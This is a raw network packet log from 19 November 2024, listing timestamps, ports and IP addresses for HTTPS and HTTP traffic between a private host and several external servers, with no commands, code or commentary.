Nov 19, 2024 18:00:44.148071051 CET	49784	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.148106098 CET	443	49784	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.149161100 CET	443	49784	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.149241924 CET	49784	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.149607897 CET	49784	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.149672985 CET	443	49784	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.149825096 CET	49784	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.170595884 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.170619965 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.176644087 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.176652908 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.176678896 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.176707029 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.176716089 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.176723003 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.176759958 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.176872015 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.176886082 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.176907063 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.176932096 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.176945925 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.176954985 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.176979065 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.177007914 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.177037954 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.177093029 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.177098036 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.177553892 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.177572012 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.177634954 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.177664995 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.177777052 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.177834034 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.177839041 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.178041935 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.178060055 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.178096056 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.178117037 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.178127050 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.178169012 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.178231955 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.178237915 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.178417921 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.178437948 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.178466082 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.178473949 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.178484917 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.178499937 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.178524017 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.178544044 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.178561926 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.178626060 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.178632021 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.178735018 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.178792000 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.178797007 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.179070950 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.179092884 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.179121971 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.179126024 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.179135084 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.179163933 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.179193974 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.179198027 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.179476023 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.179491043 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.179543018 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.179553032 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.195343018 CET	443	49784	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.201770067 CET	49784	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.201809883 CET	443	49784	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.202836990 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.202861071 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.202944994 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.202944994 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.202956915 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.253331900 CET	443	49784	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.253357887 CET	443	49784	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.253376007 CET	443	49784	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.253403902 CET	49784	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.253413916 CET	443	49784	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.253434896 CET	49784	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.253465891 CET	443	49784	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.253495932 CET	443	49784	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.253496885 CET	49784	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.253532887 CET	49784	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.253547907 CET	49784	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.253550053 CET	443	49784	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.255016088 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.255032063 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.255045891 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.255074024 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.255101919 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.255106926 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.255115032 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.255126953 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.255137920 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.255151033 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.255156040 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.255158901 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.255177975 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.255203962 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.255672932 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.255686045 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.255697012 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.255723000 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.255758047 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.259943962 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.260036945 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.263525009 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.263556004 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.263595104 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.263613939 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.263639927 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.265357971 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.265398026 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.265424013 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.265450954 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.265471935 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.265696049 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.265754938 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.265760899 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.266174078 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.266225100 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.266226053 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.266232967 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.266246080 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.266246080 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.266266108 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.266279936 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.266280890 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.266288996 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.266290903 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.266298056 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.266319990 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.266362906 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.266362906 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.267297983 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.267374039 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.267378092 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.267752886 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.268141985 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.268162966 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.268196106 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.268199921 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.268235922 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.268574953 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.268615007 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.268657923 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.268668890 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.268702030 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.269591093 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.269656897 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.269660950 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.270358086 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.270406961 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.270437956 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.270446062 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.270473957 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.270677090 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.270695925 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.270726919 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.270734072 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.270760059 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.272032022 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.272041082 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.272058010 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.272105932 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.272110939 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.272140980 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.272151947 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.272491932 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.272511005 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.272571087 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.272578001 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.272633076 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.272686958 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.272691965 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.273519039 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.273538113 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.273591042 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.273597002 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.273610115 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.273633003 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.273670912 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.273686886 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.273698092 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.273731947 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.292675018 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.292718887 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.292747974 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.292781115 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.292783976 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.292810917 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.292937040 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.292989969 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.293009043 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.293021917 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.293056965 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.338978052 CET	443	49784	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.339011908 CET	443	49784	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.339023113 CET	443	49784	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.339035988 CET	443	49784	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.339060068 CET	49784	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.339106083 CET	443	49784	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.339123964 CET	49784	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.340857983 CET	443	49784	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.340866089 CET	443	49784	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.340894938 CET	443	49784	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.340903044 CET	443	49784	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.340907097 CET	443	49784	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.340919018 CET	443	49784	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.340934992 CET	49784	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.340965986 CET	443	49784	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.340990067 CET	49784	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.342080116 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.349961996 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.349980116 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.350054026 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.350060940 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.352397919 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.352417946 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.352461100 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.352466106 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.352508068 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.352530956 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.352590084 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.352593899 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.352634907 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.353671074 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.353697062 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.353739977 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.353744030 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.353785038 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.354038000 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.354053020 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.354089975 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.354108095 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.354125977 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.354424953 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.354445934 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.354479074 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.354486942 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.354497910 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.354510069 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.354537964 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.354710102 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.354783058 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.354788065 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.356133938 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.356154919 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.356210947 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.356216908 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.356255054 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.357090950 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.357106924 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.357151031 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.357177973 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.357188940 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.357213020 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.357218027 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.357541084 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.358870983 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.358896017 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.358954906 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.358958006 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.358973026 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.359015942 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.359020948 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.359211922 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.359231949 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.359266996 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.359277010 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.359303951 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.359456062 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.359476089 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.359512091 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.359519005 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.359536886 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.359723091 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.359774113 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.359776974 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.359785080 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.359817028 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.360481977 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.360496998 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.360543966 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.360554934 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.360579967 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.361939907 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.361958981 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.362015009 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.362023115 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.362056017 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.379487991 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.379530907 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.379544020 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.379558086 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.379569054 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.379569054 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.379580975 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.379597902 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.379631996 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.379837990 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.379899025 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.379944086 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.380081892 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.380124092 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.380136013 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.380141020 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.380148888 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.380176067 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.380209923 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.380625963 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.380659103 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.380671978 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.380707026 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.380707979 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.380718946 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.380733013 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.380738020 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.380772114 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.381232977 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.381280899 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.381298065 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.381309986 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.381337881 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.381592035 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.381609917 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.381630898 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.381638050 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.381663084 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.381681919 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.381689072 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.381691933 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.381700039 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.381721020 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.381721973 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.381737947 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.381758928 CET	49780	443	192.168.2.8	20.25.227.174
